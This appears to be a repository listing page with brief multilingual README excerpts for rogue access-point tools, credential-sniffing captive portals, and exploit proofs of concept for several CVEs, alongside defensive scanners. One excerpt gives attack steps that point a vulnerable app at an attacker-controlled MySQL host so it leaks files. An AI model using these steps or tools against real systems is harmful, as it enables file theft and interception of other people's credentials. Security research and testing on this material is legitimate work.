RogueAssemblyHunter

. . \ / \ | | | .. | // \ / | | / \ / / \ \ / // // \ / | | | // | /\ / / | \ \ \ /| Y Y \ \ \ | | || // /|/ | / || / // | / // / / / / / / / / / | \ / | / \ | / \ / \ Y / | / | \ | \ /| | / | /|/|| /| | / / / Rogue Assembly Hunter Rogue Assembly Hunter 是一个用于发现正在运行的进程中“有趣”的 .NET CLR 模块的实用工具。 作者:...

access-point

伪造接入点 用于受控环境下流量捕获的开放 Wi-Fi 伪造接入点。使用 hostapd（原生 nl80211 AP 模式）+ dnsmasq（DHCP/DNS）+ iptables NAT 向上行接口转发。 要求 Linux，root 权限。 支持 AP 模式的无线网卡（iw phy → Supported interface modes: ... AP）。 软件包：hostapd、dnsmasq、iw、iptables、rfkill、wireshark。 配置 编辑 fakeap.sh 开头的变量。 INTERNETIFACE — 具有互联网连接的上行接口...

wifi-agent

wifi-agent wifi-agent 恶意接入点 该程序仅用于教育目的，以了解恶意接入点方法的工作原理。 禁止任何不必要的使用，制造商对任何人的非法使用不承担任何责任。 请自行承担使用该工具的风险，避免任何鲁莽行为。 安装说明 在Gnu / Linux操作系统上安装。 在终端中 sudo su git clone https://github.com/makdosx/wifi-agent.git chmod -R 777 wifi-agent cd wifi-agent bash wifiagent.sh 功能与特性 Wifi Agent 是一个针对 Gnu/Linux...

esp32-wifi-penetration-tool

Herramienta de Penetración Wi-Fi para ESP32 Este proyecto presenta una herramienta universal para la plataforma ESP32 para implementar varios ataques Wi-Fi. Proporciona algunas funcionalidades comunes que se utilizan habitualmente en ataques Wi-Fi y facilita la implementación de nuevos ataques...

c41n

c41n c41n 是一个自动化流氓接入点设置工具。 c41n 提供了多种类型的流氓接入点自动设置以及邪恶双子攻击的功能。c41n 可根据用户定义的参数（接口、接入点的名称和信道）设置接入点，为接入点配置 DHCP 服务器，并提供 HTTP 流量嗅探或凭据嗅探的强制门户设置能力。 安装： 安装包括克隆仓库、运行安装依赖的脚本（或手动安装），以及使 c41n 可执行。安装脚本适用于 apt 和 pacman 包管理器（仅 Debian 和 Arch）。 git clone https://github.com/MS-WEB-BN/c41n/ cd c41n sudo bash...

wp2shell-scan

wp2shell-scan Detectar y limpiar el compromisowp2shell CVE‑2026‑63030 en uno o varios sitios WordPress. wp2shell es la vulnerabilidad de ejecución remota de código sin autenticación previa corregida en WordPress 7.0.2 / 6.9.5 / 6.8.6 2026‑07‑17. Apareció un PoC público en un día y la explotación...

Snoopy

| || | | || || || || | | | | || || || || || || || | | | | || | | || | | || || || | | || || || || || || || | | || | | || || || | | | |||| |||||||| || V0.1 “艾米，技术本身没有善恶之分，关键在于如何使用它。就像死亡射线一样。” ——法恩斯沃思教授 欢迎使用 Snoopy；一个分布式跟踪与分析框架。Snoopy 仍在开发中，如有建议或更正，请随时提交。本文档概述了基本用法。如需进一步了解背景，请参阅以下内容：...

wireless-ids

Wireless IDS Sistema de Detección de Intrusiones Wireless IDS es una herramienta de código abierto escrita en Python y funciona en entorno Linux. Esta herramienta analizará el tráfico aéreo circundante en busca de actividades sospechosas como paquetes de ataque WEP/WPA/WPS. Realiza lo siguiente:...

CVE-2024-34693

CVE-2024-34693 漏洞利用 此仓库包含一个用于利用 Apache Superset 中 CVE-2024-34693 漏洞的复杂 Python 脚本。该脚本设置一个恶意 MySQL 服务器，并创建恶意 MariaDB 连接，以从目标系统中窃取指定文件的内容。 !\Screenshot1.png\https://raw.githubusercontent.com/Mr-r00t11/CVE-2024-34693/main/img/Screenshot1.png 描述 CVE-2024-34693 漏洞允许能够创建任意数据库连接的攻击者执行 LOAD DATA LOCAL...

wp2shell-Hestia-Scanner

🛡️ wp2shell-Hestia-Scanner 🇬🇧 English | 🇬🇷 Ελληνικά Escáner de seguridad de WordPress de solo lectura para servidores HestiaCP. Detecta indicadores de compromiso de wp2shell en todos los sitios alojados — con informes por correo por cliente, diff de archivos del núcleo, detección de webshells por...

chainoffools

CryptoAPI CVE-2020-0601: Explotación de la vulnerabilidad de suplantación de CryptoAPI de Windows. Más información en nuestro artículo de blog. Requisitos de instalación pip install -U -r requirements.txt La generación de certificados funciona con OpenSSL versión hasta 1.0.2u. Certificado CA Usam...

Am-I-affected-by-Meltdown

¿Estoy afectado por Meltdown?! Comprobador de Meltdown CVE-2017-5754 ¿Qué soy? Prueba de concepto / Exploit / Comprueba si el sistema está afectado por la Variante 3: rogue data cache load CVE-2017-5754, también conocido como MELTDOWN. La idea básica es que el usuario sabrá si el sistema en...

killosx

killosx 使用 Apple CoreText 漏洞 CVE-2012-3716 并启动一个 AP，影响 wifi 范围内所有易受攻击的 Apple 设备。 安装: 在 killosx 目录中运行 'make install'。现在可以在任何地方使用 'killosx' 运行 killosx。 用法: killOSX Usage - killosx -i wlan0 Run exploit on wlan0 killosx -h This help...

WiFi-Pineapple-MK7_Evil-Portal

WIFI PINEAPPLE MARK VII - 邪恶门户 领先的非法接入点及WiFi渗透测试工具包，用于近距离操作。 被动和主动攻击分析易受攻击和配置错误的设备。 https://hak5.org/collections/sale/products/wifi-pineapple 作者 :: TW-D 版本 :: 1.0.0 版权 :: Copyright c 2024 TW-D 许可证 :: 遵循与Ruby相同的条款分发 要求 :: PHP = 8.1, Ruby = 2.7.0p0 和 WiFi Pineapple Mark VII 2.1.3-stable...

NachoVPN

NachoVPN 🌮🔒 NachoVPN es una Prueba de Concepto que demuestra la explotación de clientes SSL-VPN, utilizando un servidor VPN malicioso. Utiliza una arquitectura basada en plugins para que la comunidad pueda contribuir con soporte para productos SSL-VPN adicionales. Actualmente admite varios...

Rogue-Framework

Rogue Framework "Make it rain. " Rogue Amendiares The best intel-broker in night city Rogue Framework is a desktop workbench for AFL++, cross-architecture QEMU fuzzing, harness development, lightweight Ghidra headless analysis, custom mutators, and patch comparison. It is intentionally an auditab...

CurveBall

CurveBall CVE-2020-0601 - PoC CVE-2020-0601: También conocido como CurveBall o ChainOffFools, es una vulnerabilidad en la Microsoft CryptoApi específicamente en Crypt32.dll donde las firmas de curva elíptica ECDSA de los certificados no se verifican correctamente. Hay una muy buena publicación de...

CVE-2019-12086

文档说明 CVE-2019-12086 jackson unserialize 漏洞利用 1、启动恶意MySQL服务器： python roguemysqlserver.py 2、在同一个目录下查看mysql.log： tail -f mysql.log 3、向存在漏洞的应用发送如下json： "com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attackerserver:port/foo" 当jackson反序列化恶意json串后，会连接恶意MySQL服务器，被读取的文件内容会写入恶意服务器的mysql.log...

CVE-2021-44228-poc

Aplicación vulnerable de muestra Log4Shell CVE-2021-44228 Esta es una aplicación vulnerable casi copia/similar a https://github.com/christophetd/log4shell-vulnerable-app Las principales diferencias son el uso de maven en lugar de gradle, y el uso de rogue-jndi. Este repositorio contiene una...

CVE-2026-54121-Certighost

🛡 Módulo de Herramienta de Seguridad IA CVE-2026-54121: Suplantación de Active Directory Certificate Services Certighost Módulo Oficial de Auditoría de Seguridad para el Ecosistema de Herramientas de Seguridad IA 🌐 Demostración Web • 📚 Sitio Web del Proyecto • 💬 Chat de la Comunidad Navegación de...